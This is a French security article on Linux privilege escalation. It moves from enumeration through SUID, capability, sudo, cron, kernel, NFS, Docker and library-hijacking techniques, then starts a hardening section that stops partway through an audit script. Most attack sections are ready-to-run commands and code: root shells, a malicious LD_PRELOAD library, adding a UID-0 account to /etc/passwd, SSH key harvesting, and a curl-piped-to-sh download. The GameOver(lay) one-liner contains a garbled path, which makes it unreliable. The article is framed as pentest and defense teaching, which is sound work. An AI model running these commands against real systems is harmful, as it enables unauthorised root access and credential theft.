Escalade de Privilèges Linux : Techniques Offensives et Durcissement

1. Introduction : Le Modèle de Sécurité Linux et la Quête du Root

L'escalade de privilèges constitue l'une des phases les plus critiques d'un test d'intrusion ou d'une compromission réelle. Sur un système Linux, obtenir les droits root (UID 0) signifie contrôler intégralement la machine : accéder à tous les fichiers, installer des portes dérobées, pivoter vers d'autres systèmes du réseau, ou exfiltrer des données sensibles. Comprendre les mécanismes sous-jacents et les vecteurs d'escalade est essentiel tant pour les équipes offensives (red team, pentest) que pour les défenseurs chargés du durcissement système.

Le modèle de sécurité Linux repose sur plusieurs couches fondamentales. Au niveau le plus basique, on trouve le Discretionary Access Control (DAC) : chaque fichier et processus est associé à un propriétaire (UID) et un groupe (GID), avec des permissions lecture/écriture/exécution pour le propriétaire, le groupe et les autres. Ce modèle, hérité d'UNIX, est simple mais insuffisant face aux menaces modernes. C'est pourquoi des mécanismes complémentaires ont été ajoutés au fil du temps : les capabilities Linux permettent de fractionner les privilèges root en permissions granulaires (par exemple, autoriser un binaire à écouter sur un port privilégié sans lui donner tous les droits root). Le Mandatory Access Control (MAC), implémenté via SELinux ou AppArmor, impose des politiques de sécurité que même root ne peut contourner facilement. Enfin, les namespaces et cgroups permettent d'isoler les processus, formant la base technologique des conteneurs.

Malgré ces couches de protection, de nombreuses configurations laissent des failles exploitables. Les raisons sont multiples : complexité de gestion des permissions à grande échelle, héritage de configurations historiques, binaires installés avec des privilèges excessifs, oublis dans la gestion des tâches planifiées, et vulnérabilités du noyau lui-même. Le vecteur le plus fréquent reste l'exploitation de mauvaises configurations plutôt que de vulnérabilités zero-day. Un serveur web compromis via une injection SQL fournit typiquement un shell en tant qu'utilisateur www-data -- c'est à partir de cet accès limité que commence le travail d'escalade de privilèges.

Cet article couvre les techniques d'escalade de privilèges les plus courantes et les plus efficaces en environnement Linux, dans le contexte du pentest professionnel, des CTF (Capture The Flag), et des incidents réels documentés. Pour chaque vecteur, nous présentons la méthodologie d'exploitation et les mesures de durcissement associées. L'objectif n'est pas de fournir un outil d'attaque clé en main, mais de permettre aux professionnels de la sécurité de comprendre, détecter et prévenir ces techniques.

2. Énumération Systématique : La Clé de l'Escalade

Avant toute tentative d'escalade, une phase d'énumération exhaustive est indispensable. L'objectif est de cartographier le système pour identifier les vecteurs potentiels. Un auditeur expérimenté suit une méthodologie structurée qui combine commandes manuelles et outils automatisés. La qualité de l'énumération détermine directement la réussite ou l'échec de l'escalade.

2.1 Commandes manuelles essentielles

La première étape consiste à comprendre le contexte : qui sommes-nous, sur quel système, et que pouvons-nous voir ? Voici les commandes fondamentales à exécuter systématiquement dès l'obtention d'un shell :

# Identité et groupes de l'utilisateur courant
id
whoami
groups

# Informations système et version du noyau
uname -a
cat /etc/os-release
cat /proc/version
hostname

# Utilisateurs et comptes du système
cat /etc/passwd
cat /etc/shadow 2>/dev/null  # Rarement lisible
cat /etc/group
lastlog
w

# Variables d'environnement (peuvent contenir des secrets)
env
echo $PATH
echo $SHELL

# Processus en cours d'exécution
ps aux
ps aux | grep root
ps -ef --forest

# Réseau : ports ouverts, connexions, routes
ss -tlnp
ss -ulnp
ip a
ip route
cat /etc/resolv.conf
arp -a

# Systèmes de fichiers montés et options
mount
cat /etc/fstab
df -h
lsblk

# Tâches planifiées
crontab -l
crontab -l -u root 2>/dev/null
ls -la /etc/cron*
cat /etc/crontab
systemctl list-timers --all

# Fichiers SUID/SGID
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Capabilities sur les binaires
getcap -r / 2>/dev/null

# Fichiers world-writable
find / -writable -type f 2>/dev/null | grep -v proc
find / -writable -type d 2>/dev/null

# Clés SSH et fichiers sensibles
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
find / -name "*.pem" 2>/dev/null
cat ~/.ssh/authorized_keys 2>/dev/null
cat ~/.bash_history 2>/dev/null

# Sudo : ce que l'utilisateur courant peut exécuter
sudo -l

Chaque commande peut révéler un vecteur d'escalade. Par exemple, sudo -l peut indiquer qu'un utilisateur peut exécuter un binaire spécifique en tant que root sans mot de passe. Un binaire SUID inhabituel peut être exploitable via GTFOBins. Une variable PATH mal configurée dans un cron job peut permettre un détournement. Les connexions réseau peuvent révéler des services internes non protégés. L'historique bash peut contenir des mots de passe en clair.

2.2 Outils automatisés d'énumération

Les outils automatisés accélèrent considérablement la phase d'énumération en vérifiant des centaines de vecteurs potentiels en quelques secondes. Ils sont complémentaires aux commandes manuelles car ils effectuent des corrélations que l'auditeur pourrait manquer.

Outil	Description	Commande d'exécution
LinPEAS	Script bash/Python de reconnaissance complète. Colore les résultats par niveau de criticité (rouge = vecteur probable). Vérifie SUID, capabilities, cron, sudo, kernel, Docker, et plus de 200 vecteurs.	curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
linux-exploit-suggester	Identifie les exploits kernel applicables en fonction de la version du noyau. Base de données régulièrement mise à jour avec les CVE récentes.	./linux-exploit-suggester.sh
LinEnum	Script d'énumération classique, plus léger que LinPEAS. Produit un rapport structuré des informations système pertinentes.	./LinEnum.sh -t
pspy	Moniteur de processus sans privilèges. Observe les processus lancés par d'autres utilisateurs (y compris root) en temps réel, sans nécessiter de droits root. Essentiel pour détecter les cron jobs non visibles.	./pspy64
lse (Linux Smart Enumeration)	Script d'énumération progressif avec trois niveaux de détail. Le niveau 0 montre uniquement les vecteurs à forte probabilité.	./lse.sh -l 1

L'utilisation de pspy mérite une attention particulière. Contrairement aux autres outils qui fournissent un instantané, pspy surveille en continu les processus créés sur le système. Il est particulièrement utile pour identifier les cron jobs cachés : certains jobs ne sont pas visibles via crontab -l car ils sont définis dans /etc/crontab ou dans les répertoires /etc/cron.d/, accessibles uniquement en lecture par root. pspy détecte leur exécution en surveillant les appels système, révélant ainsi des scripts exécutés avec des privilèges élevés qui pourraient être vulnérables.

3. SUID/SGID et Capabilities : Les Permissions Étendues

3.1 Comprendre le bit SUID

Le bit SUID (Set User ID) est un mécanisme de permissions Unix qui permet à un binaire de s'exécuter avec les privilèges de son propriétaire plutôt que ceux de l'utilisateur qui le lance. Lorsqu'un binaire appartenant à root possède le bit SUID activé, tout utilisateur qui l'exécute obtient temporairement les privilèges root pour la durée de l'exécution. Le mécanisme SGID (Set Group ID) fonctionne de manière similaire mais au niveau du groupe.

Des binaires légitimes utilisent ce mécanisme : /usr/bin/passwd doit écrire dans /etc/shadow (lisible uniquement par root), /usr/bin/su doit changer l'UID effectif du processus, /usr/bin/ping historiquement nécessitait SUID pour ouvrir des raw sockets (aujourd'hui remplacé par la capability cap_net_raw). Le problème survient lorsque des binaires avec des fonctionnalités puissantes (lecture/écriture de fichiers, exécution de commandes) possèdent le bit SUID de manière inappropriée.

# Recherche de tous les binaires SUID
find / -perm -4000 -type f 2>/dev/null

# Résultat typique sur un système vulnérable :
-rwsr-xr-x 1 root root  16712 /usr/bin/passwd
-rwsr-xr-x 1 root root  63568 /usr/bin/su
-rwsr-xr-x 1 root root  44664 /usr/bin/newgrp
-rwsr-xr-x 1 root root  30800 /usr/bin/find      # DANGEREUX
-rwsr-xr-x 1 root root 1037528 /usr/bin/vim.basic  # DANGEREUX
-rwsr-xr-x 1 root root 2822120 /usr/bin/nmap       # DANGEREUX
-rwsr-xr-x 1 root root  63736 /usr/bin/python3.10  # CRITIQUE

3.2 GTFOBins : L'encyclopédie de l'abus SUID

GTFOBins (https://gtfobins.github.io) est une ressource incontournable qui répertorie les binaires Unix exploitables pour contourner les restrictions de sécurité. Pour chaque binaire, GTFOBins documente les différentes manières de l'exploiter selon le contexte : SUID, sudo, capabilities, etc. Voici quelques exemples concrets d'exploitation de binaires SUID courants :

# find avec SUID : exécution de commandes via -exec
find . -exec /bin/sh -p \; -quit

# vim/vi avec SUID : ouverture d'un shell depuis l'éditeur
vim -c ':!/bin/sh'

# python avec SUID : spawn d'un shell root
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# nmap (versions anciennes) avec SUID : mode interactif
nmap --interactive
nmap> !sh

# bash avec SUID : utilisation du flag -p pour préserver les privilèges
bash -p

# cp avec SUID : écraser /etc/passwd avec un fichier modifié
# 1. Copier /etc/passwd localement
# 2. Ajouter un utilisateur root : echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> passwd
# 3. Écraser : cp passwd /etc/passwd

# env avec SUID : exécution d'un shell via l'environnement
env /bin/sh -p

# less/more avec SUID : exécution de commandes depuis le pager
less /etc/passwd
!/bin/sh

La découverte d'un binaire SUID non standard doit systématiquement déclencher une recherche sur GTFOBins. Certains binaires moins évidents sont également exploitables : base64 (pour lire des fichiers en tant que root), date (pour lire un fichier via un message d'erreur), dd (pour écrire des fichiers en tant que root), ou encore des interpréteurs comme perl, ruby, lua. La technique LotL (Living off the Land) s'applique pleinement ici : on exploite les outils déjà présents sur le système, ce qui rend la détection plus difficile, comme détaillé dans notre article sur le Living off the Land.

3.3 Linux Capabilities : La fragmentation des privilèges root

Les capabilities Linux ont été introduites pour résoudre le problème du tout-ou-rien de SUID : plutôt que de donner tous les privilèges root, on attribue uniquement les capabilities nécessaires. Par exemple, un serveur web peut recevoir cap_net_bind_service pour écouter sur le port 80 sans être root. Cependant, certaines capabilities sont aussi dangereuses que les droits root complets.

# Lister toutes les capabilities assignées
getcap -r / 2>/dev/null

# Résultat typique :
/usr/bin/ping = cap_net_raw+ep
/usr/bin/python3.10 = cap_setuid+ep        # CRITIQUE
/usr/sbin/tcpdump = cap_net_raw+ep
/usr/bin/node = cap_dac_override+ep         # DANGEREUX

Les capabilities les plus dangereuses et leurs vecteurs d'exploitation :

Capability	Effet	Exploitation
cap_setuid	Permet de changer l'UID du processus	python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
cap_dac_override	Ignore les permissions en lecture/écriture sur les fichiers	Lire /etc/shadow, écrire dans /etc/passwd
cap_dac_read_search	Ignore les permissions en lecture et les restrictions de parcours de répertoire	Lire tout fichier du système, parcourir tout répertoire
cap_sys_admin	Capability fourre-tout : mount, umount, pivot_root, etc.	Monter des systèmes de fichiers, échapper des conteneurs
cap_net_raw	Permet l'utilisation de raw sockets	Sniffer le réseau, usurpation d'adresses
cap_sys_ptrace	Permet de tracer et injecter dans les processus	Injecter du code dans un processus root
cap_fowner	Ignore la vérification de propriétaire sur les fichiers	Modifier les permissions de tout fichier, y compris /etc/shadow

# Exploitation de cap_setuid sur Python
# Si python3 a cap_setuid+ep :
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Exploitation de cap_dac_override sur vim
# Si vim a cap_dac_override+ep :
vim /etc/shadow  # Lecture directe des hash

# Exploitation de cap_sys_admin
# Si un binaire a cap_sys_admin+ep, on peut monter des FS :
mkdir /tmp/mount_root
mount /dev/sda1 /tmp/mount_root
# Accès complet au système de fichiers racine

4. Sudo Abuse : Quand la Délégation Devient Exploitation

4.1 Mauvaises configurations sudoers

La commande sudo est le mécanisme standard de délégation de privilèges sous Linux. Le fichier /etc/sudoers (édité via visudo) définit qui peut exécuter quoi, en tant que quel utilisateur. Les mauvaises configurations de sudoers représentent l'un des vecteurs d'escalade les plus fréquents en pentest. La commande sudo -l révèle immédiatement les droits sudo de l'utilisateur courant.

# Vérifier les droits sudo
sudo -l

# Exemple de sortie vulnérable :
User webadmin may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/vim
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/awk
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/python3
    (ALL) NOPASSWD: /usr/bin/env
    (ALL) NOPASSWD: /usr/bin/tar
    (ALL) NOPASSWD: /usr/bin/rsync

Chacun de ces binaires peut être exploité via GTFOBins pour obtenir un shell root. L'exploitation est souvent triviale :

# sudo vim → shell root
sudo vim -c ':!/bin/bash'

# sudo less → shell root
sudo less /etc/hosts
!/bin/bash

# sudo awk → shell root
sudo awk 'BEGIN {system("/bin/bash")}'

# sudo find → shell root
sudo find /tmp -exec /bin/bash \; -quit

# sudo python3 → shell root
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

# sudo env → shell root
sudo env /bin/bash

# sudo nmap → shell root (mode script)
echo 'os.execute("/bin/bash")' > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse

4.2 LD_PRELOAD et variables d'environnement

Lorsque la configuration sudoers contient env_keep+=LD_PRELOAD ou que env_reset n'est pas activé, un attaquant peut injecter une bibliothèque partagée malveillante qui sera chargée avant toute autre lors de l'exécution de la commande sudo. Cette technique est particulièrement élégante car elle fonctionne avec n'importe quel binaire autorisé par sudo.

// shell.c - Bibliothèque malveillante LD_PRELOAD
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}

// Compilation :
// gcc -fPIC -shared -nostartfiles -o /tmp/shell.so shell.c

// Exploitation :
// sudo LD_PRELOAD=/tmp/shell.so /usr/bin/commande_autorisee

4.3 CVE-2021-3156 : Baron Samedit

La vulnérabilité Baron Samedit (CVE-2021-3156) est un heap-based buffer overflow dans sudo affectant les versions 1.8.2 à 1.8.31p2 et 1.9.0 à 1.9.5p1. Découverte par Qualys en janvier 2021, elle permet à tout utilisateur local d'obtenir les droits root sans connaître le mot de passe. L'exploitation repose sur un dépassement de tampon déclenché par des arguments spécifiquement formatés avec des backslashes. Cette vulnérabilité est remarquable car elle affecte la quasi-totalité des distributions Linux standard et ne nécessite aucun droit sudo préalable.

# Vérification de la vulnérabilité
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# Si le système est vulnérable, un segfault se produit

# Version de sudo affectée
sudo --version
# Vulnérable si : Sudo version 1.8.x - 1.9.5p1

4.4 Wildcards abuse dans sudoers (tar, rsync)

Certaines configurations sudoers utilisent des wildcards pour autoriser des commandes avec des arguments variables. Ces wildcards peuvent être abusées, notamment avec tar et rsync qui supportent des options de type "checkpoint" permettant d'exécuter des commandes arbitraires. Si un administrateur configure (ALL) NOPASSWD: /usr/bin/tar *, un attaquant peut exploiter les checkpoint actions de tar pour exécuter du code en tant que root.

# Si sudo permet : /usr/bin/tar avec wildcard
# Exploitation via checkpoint actions de tar :
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/exploit.sh
chmod +x /tmp/exploit.sh

sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/tmp/exploit.sh
/tmp/rootbash -p  # Shell root

# Exploitation similaire avec rsync :
# Si sudo permet : /usr/bin/rsync avec wildcard
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

5. Cron Jobs et Tâches Planifiées : La Menace Silencieuse

5.1 Scripts cron world-writable

Les tâches planifiées (cron jobs) s'exécutent automatiquement à intervalles définis, souvent avec les privilèges root. Si un script exécuté par un cron job root est modifiable par un utilisateur non privilégié, ce dernier peut y injecter du code qui sera exécuté avec les droits root au prochain déclenchement. C'est l'un des vecteurs les plus simples et les plus fréquents en CTF, mais on le rencontre aussi dans des environnements de production mal maintenus.

# Identifier les cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/

# Exemple de crontab vulnérable :
# /etc/crontab
* * * * * root /opt/scripts/backup.sh
# Si /opt/scripts/backup.sh est world-writable :
ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 245 Jan 15 10:00 /opt/scripts/backup.sh

# Injection de payload :
echo 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash' >> /opt/scripts/backup.sh
# Attendre l'exécution du cron, puis :
/tmp/rootbash -p

5.2 PATH injection dans les cron jobs

Lorsqu'un cron job exécute une commande sans spécifier son chemin absolu et que la variable PATH du cron contient un répertoire modifiable par l'utilisateur, il est possible de créer un binaire malveillant portant le même nom que la commande attendue. Le cron exécutera le binaire malveillant au lieu du légitime. La variable PATH par défaut dans /etc/crontab est souvent /usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin, mais certains administrateurs ajoutent des chemins non sécurisés.

# Crontab avec PATH vulnérable :
# PATH=/home/user/scripts:/usr/local/sbin:/usr/local/bin:/sbin:/bin
# * * * * * root cleanup

# Le script 'cleanup' est appelé sans chemin absolu
# Si /home/user/scripts est dans le PATH et writable :
cat > /home/user/scripts/cleanup << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF
chmod +x /home/user/scripts/cleanup
# Attendre l'exécution, puis :
/tmp/rootbash -p

5.3 Wildcard injection (tar, rsync)

Certains cron jobs utilisent des wildcards dans leurs commandes (par exemple tar czf /backup/archive.tar.gz *). Sous Linux, les noms de fichiers sont interprétés comme des arguments de commande lorsqu'un wildcard est utilisé par le shell. Un attaquant peut créer des fichiers dont le nom correspond à des options de la commande, forçant ainsi l'exécution d'actions arbitraires.

# Si un cron job root exécute :
# cd /var/www/html && tar czf /backup/site.tar.gz *

# Exploitation via fichiers-arguments :
cd /var/www/html

# Créer le script de payload
echo 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash' > shell.sh
chmod +x shell.sh

# Créer des fichiers dont les noms sont des options tar
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

# Quand tar s'exécute avec *, les noms de fichiers deviennent :
# tar czf /backup/site.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh [...]
# → shell.sh est exécuté en tant que root

5.4 Systemd timers mal configurés

Les systemd timers sont l'alternative moderne aux cron jobs. Ils peuvent aussi contenir des vulnérabilités similaires si les fichiers service associés sont mal protégés ou si les scripts qu'ils appellent sont world-writable. Il faut vérifier les fichiers .timer et .service dans /etc/systemd/system/ ainsi que dans les répertoires utilisateur ~/.config/systemd/user/.

# Lister tous les timers actifs
systemctl list-timers --all

# Vérifier les permissions des fichiers service
ls -la /etc/systemd/system/*.service
ls -la /etc/systemd/system/*.timer

# Si un fichier .service est writable :
# ExecStart=/opt/scripts/maintenance.sh
# → Modifier le script pour injecter un payload

6. Kernel Exploits : L'Escalade Nucléaire

Les exploits noyau représentent le vecteur d'escalade le plus puissant mais aussi le plus risqué. Un exploit kernel réussi donne un accès root instantané, mais un échec peut provoquer un crash système (kernel panic). En pentest, les kernel exploits sont généralement réservés en dernier recours après avoir épuisé les vecteurs plus sûrs. En revanche, dans un contexte CTF, ils sont souvent la solution attendue.

6.1 Méthodologie d'exploitation kernel

La démarche est toujours la même : identifier la version du noyau, rechercher les CVE applicables, compiler l'exploit, et l'exécuter. Chaque étape comporte des risques et des subtilités.

# Étape 1 : Identifier la version du noyau
uname -r
# Exemple : 5.4.0-42-generic

cat /proc/version
# Exemple : Linux version 5.4.0-42-generic (buildd@lgw01-amd64-038) (gcc version 9.3.0)

# Étape 2 : Rechercher les exploits applicables
searchsploit linux kernel 5.4
searchsploit linux kernel ubuntu 20.04

# Ou utiliser linux-exploit-suggester :
./linux-exploit-suggester.sh --kernel 5.4.0

# Étape 3 : Télécharger et compiler l'exploit
# (sur la machine cible ou sur une machine de même architecture)
gcc -o exploit exploit.c -lpthread
# Ou cross-compiler si l'architecture diffère

# Étape 4 : Exécuter
./exploit
id  # uid=0(root) gid=0(root)

6.2 Exploits kernel majeurs

Voici les exploits kernel les plus significatifs de ces dernières années, chacun illustrant un type de vulnérabilité différent :

Dirty Cow (CVE-2016-5195)

Race condition dans le sous-système de gestion mémoire du noyau Linux (Copy-on-Write). Affecte les noyaux antérieurs à 4.8.3. L'exploitation permet d'écrire dans des fichiers en lecture seule, comme /etc/passwd. L'une des vulnérabilités les plus exploitées dans l'histoire de Linux, avec une utilisation en conditions réelles confirmée par les chercheurs. Malgré son ancienneté, elle reste pertinente sur les systèmes non mis à jour, notamment dans les environnements industriels et IoT.

Dirty Pipe (CVE-2022-0847)

Vulnérabilité dans le mécanisme de pipe du noyau Linux, affectant les versions 5.8 à 5.16.11 (et 5.15.25, 5.10.102). Découverte par Max Kellermann, elle permet d'écrire dans des fichiers arbitraires en lecture seule en exploitant un bug dans le flag PIPE_BUF_FLAG_CAN_MERGE des pages de cache. L'exploitation est remarquablement fiable (pas de race condition) et rapide. Elle peut être utilisée pour modifier /etc/passwd, écraser des binaires SUID, ou injecter du code dans des processus.

# Exploitation Dirty Pipe - modifier /etc/passwd
# L'exploit écrit à un offset spécifique dans un fichier read-only
# Remplacement du hash root par un hash connu :
./dirtypipe /etc/passwd 1 "${PAYLOAD}"
# Le hash de root est remplacé, permettant su root avec le mot de passe choisi

GameOver(lay) (CVE-2023-2640 / CVE-2023-32629)

Deux vulnérabilités liées à OverlayFS dans les noyaux Ubuntu. CVE-2023-2640 est un bypass de permissions dans la vérification des capabilities dans OverlayFS, et CVE-2023-32629 est une race condition dans le même sous-système. Ces vulnérabilités sont spécifiques aux noyaux Ubuntu en raison de patchs personnalisés ajoutés par Canonical. L'exploitation est triviale et fonctionne sur un large éventail de versions Ubuntu.

# GameOver(lay) - exploitation simple sur Ubuntu
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p]asswd l/;
setcap cap_setuid+eip l/passwd; mount -t overlay overlay -o \
lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/passwd
# Résultat : shell root

nf_tables (CVE-2024-1086)

Use-after-free dans le sous-système nf_tables de Netfilter, affectant les noyaux 5.14 à 6.6. Découverte par Notselwyn, cette vulnérabilité permet une escalade de privilèges fiable avec un taux de réussite élevé (~99.4% sur les noyaux testés). L'exploitation repose sur une double libération de mémoire dans le traitement des verdicts Netfilter, permettant une corruption contrôlée du tas noyau (heap). L'exploit est public et fonctionne sur la majorité des distributions Linux récentes non patchées.

7. Techniques Avancées : NFS, Docker, et Injection de Bibliothèques

7.1 NFS no_root_squash

NFS (Network File System) est un protocole de partage de fichiers réseau courant en environnement Linux. L'option no_root_squash dans la configuration NFS (/etc/exports) est une faille classique : elle permet au client root de conserver ses privilèges root sur le partage distant. En conditions normales, root_squash (activé par défaut) remplace UID 0 par nobody, empêchant un root distant d'accéder aux fichiers avec les droits root du serveur. Lorsque no_root_squash est configuré, un attaquant peut monter le partage depuis sa propre machine, y créer un binaire SUID root, puis l'exécuter sur le serveur cible.

# Étape 1 : Découverte des exports NFS
showmount -e target_ip
# Export list for target_ip:
# /home/backup  *(rw,no_root_squash)

# Étape 2 : Monter le partage en tant que root (sur la machine attaquante)
mkdir /tmp/nfs_mount
mount -t nfs target_ip:/home/backup /tmp/nfs_mount

# Étape 3 : Créer un binaire SUID sur le partage
cp /bin/bash /tmp/nfs_mount/rootbash
chmod u+s /tmp/nfs_mount/rootbash

# Étape 4 : Exécuter le binaire depuis le serveur cible
/home/backup/rootbash -p
# uid=1000(user) gid=1000(user) euid=0(root)

7.2 Docker socket exposure

Si un utilisateur non privilégié a accès au socket Docker (/var/run/docker.sock), il peut obtenir les droits root sur l'hôte en créant un conteneur privilégié qui monte le système de fichiers racine de l'hôte. L'appartenance au groupe docker équivaut fonctionnellement à un accès root. Cette technique est détaillée dans notre article sur le Container Escape Docker et Containerd.

# Vérifier si l'utilisateur a accès au socket Docker
ls -la /var/run/docker.sock
id  # Vérifier l'appartenance au groupe docker

# Méthode 1 : Monter le système de fichiers racine
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# → Shell root sur l'hôte

# Méthode 2 : Conteneur privilégié
docker run --rm -it --privileged --pid=host alpine nsenter -t 1 -m -u -i -n -- bash
# → Shell root dans le namespace de l'hôte

# Méthode 3 : Via l'API socket directement (si docker CLI n'est pas disponible)
curl -s --unix-socket /var/run/docker.sock \
  http://localhost/containers/json

7.3 Container escape via mount

Dans un conteneur avec cap_sys_admin, il est possible de monter le système de fichiers de l'hôte et d'accéder à ses fichiers. Les conteneurs avec le flag --privileged ou avec des capabilities excessives sont particulièrement vulnérables. C'est une problématique récurrente dans les déploiements Kubernetes où des pods avec des privilèges excessifs sont déployés.

# Dans un conteneur avec cap_sys_admin :
# Identifier le disque de l'hôte
fdisk -l 2>/dev/null
# ou
cat /proc/1/mountinfo | grep "/ / "

# Monter le disque de l'hôte
mkdir /tmp/hostfs
mount /dev/sda1 /tmp/hostfs

# Accéder au système de fichiers de l'hôte
cat /tmp/hostfs/etc/shadow
echo 'attacker:x:0:0::/root:/bin/bash' >> /tmp/hostfs/etc/passwd

7.4 PATH hijacking

Lorsqu'un script ou un programme exécuté avec des privilèges élevés appelle une commande sans chemin absolu, un attaquant peut placer un binaire malveillant dans un répertoire du PATH qui sera consulté en premier. Cette technique s'applique aux binaires SUID, aux scripts cron, aux services systemd, et à tout programme appelé avec des privilèges supérieurs. L'exploitation est similaire aux techniques Living off the Land car elle exploite des fonctionnalités légitimes du système.

# Si un binaire SUID exécute 'service apache2 restart' (sans chemin absolu)
# et que PATH inclut un répertoire writable :
echo $PATH
# /home/user/bin:/usr/local/bin:/usr/bin:/bin

# Créer un faux binaire 'service' :
cat > /home/user/bin/service << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF
chmod +x /home/user/bin/service

# Exécuter le binaire SUID vulnérable
./vulnerable_suid_binary
# Le faux 'service' est exécuté en tant que root

/tmp/rootbash -p  # Shell root

7.5 Shared library injection (LD_PRELOAD et /etc/ld.so.conf)

L'injection de bibliothèques partagées est une technique puissante qui exploite le mécanisme de chargement dynamique de Linux. Si un attaquant peut modifier /etc/ld.so.conf ou ses fichiers include, ou si LD_PRELOAD est préservé dans l'environnement sudo, il peut forcer le chargement d'une bibliothèque malveillante par n'importe quel programme. La bibliothèque injectée peut intercepter des fonctions système et exécuter du code arbitraire avec les privilèges du programme cible.

# Injection via LD_PRELOAD (nécessite env_keep dans sudoers)
# Voir la section 4.2 pour le code de la bibliothèque malveillante

# Injection via /etc/ld.so.conf (si writable)
echo "/tmp/malicious_libs" >> /etc/ld.so.conf
# Placer une bibliothèque malveillante dans /tmp/malicious_libs/
ldconfig  # Recharger le cache

# Injection via RPATH/RUNPATH dans un binaire SUID
readelf -d /usr/bin/suid_binary | grep RPATH
# Si RPATH pointe vers un répertoire writable, y placer une lib malveillante

7.6 Écriture dans /etc/passwd

Bien que rare dans les configurations modernes, un fichier /etc/passwd world-writable permet l'escalade de privilèges la plus directe : ajouter un utilisateur avec UID 0. Cette situation peut se rencontrer sur des systèmes legacy, dans des conteneurs mal configurés, ou suite à une modification accidentelle de permissions.

# Vérifier les permissions de /etc/passwd
ls -la /etc/passwd

# Si writable, générer un hash et ajouter un utilisateur root :
openssl passwd -1 -salt xyz password123
# $1$xyz$rCmHMfnNJL1hc8SmKRnJj1

echo 'hacker:$1$xyz$rCmHMfnNJL1hc8SmKRnJj1:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker  # Mot de passe : password123
# → Shell root

7.7 SSH key harvesting et Python library hijacking

La récolte de clés SSH est une technique de post-exploitation qui peut aussi servir à l'escalade de privilèges si des clés privées d'autres utilisateurs (y compris root) sont accessibles. Le Python library hijacking exploite le mécanisme d'import de Python : si un script Python exécuté en tant que root importe un module depuis un répertoire contrôlé par l'attaquant, le code malveillant est exécuté avec les privilèges root.

# SSH key harvesting
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null

# Python library hijacking
# Si un cron job root exécute : python3 /opt/scripts/backup.py
# Et que backup.py importe un module (ex: import requests)
# Vérifier le PYTHONPATH et les répertoires d'import :
python3 -c "import sys; print('\n'.join(sys.path))"

# Si l'un des répertoires est writable, créer un faux module :
cat > /opt/scripts/requests.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash")
EOF
# Au prochain import, le faux module est chargé

7.8 Writable systemd services

Si un fichier de service systemd est modifiable par un utilisateur non privilégié, il peut remplacer la commande ExecStart par un payload malveillant. Au prochain redémarrage du service (ou via systemctl restart si l'utilisateur a les droits), le code est exécuté avec les privilèges du service (souvent root). C'est un vecteur particulièrement utile pour la persistence sur des systèmes Linux.

# Rechercher les fichiers service modifiables
find /etc/systemd/system -writable -name "*.service" 2>/dev/null
find /usr/lib/systemd/system -writable -name "*.service" 2>/dev/null

# Si un service est writable :
cat > /etc/systemd/system/vulnservice.service << 'EOF'
[Unit]
Description=Vulnerable Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash'

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl restart vulnservice
/tmp/rootbash -p

8. Durcissement et Détection : Construire la Défense en Profondeur

La défense contre l'escalade de privilèges repose sur le principe de défense en profondeur : chaque couche de sécurité compense les faiblesses potentielles des autres. Un système correctement durci rend l'escalade significativement plus difficile, même si une vulnérabilité individuelle existe. L'objectif n'est pas de rendre l'escalade impossible (un kernel exploit zero-day peut toujours contourner les défenses), mais de maximiser le temps et l'effort nécessaires à un attaquant, augmentant ainsi les chances de détection. La relation entre les techniques d'évasion et le durcissement est un sujet couvert en détail dans notre article sur l'évasion EDR/XDR.

8.1 Audit régulier SUID et capabilities

Un audit régulier des binaires SUID et des capabilities est la première ligne de défense. L'objectif est de maintenir une baseline connue et de détecter toute déviation. Les outils de gestion de configuration (Ansible, Puppet, Chef) peuvent automatiser cette vérification.

# Script d'audit SUID/capabilities (à exécuter quotidiennement via cron)
#!/bin/bash
BASELINE="/etc/security/suid_baseline.txt"
CURRENT="/tmp/suid_current.txt"
ALERT_EMAIL="security@example.com"

# Générer la liste actuelle
find / -perm -4000 -type f 2>/dev/null | sort > "$CURRENT"
getcap -r / 2>/dev/null >> "$CURRENT"

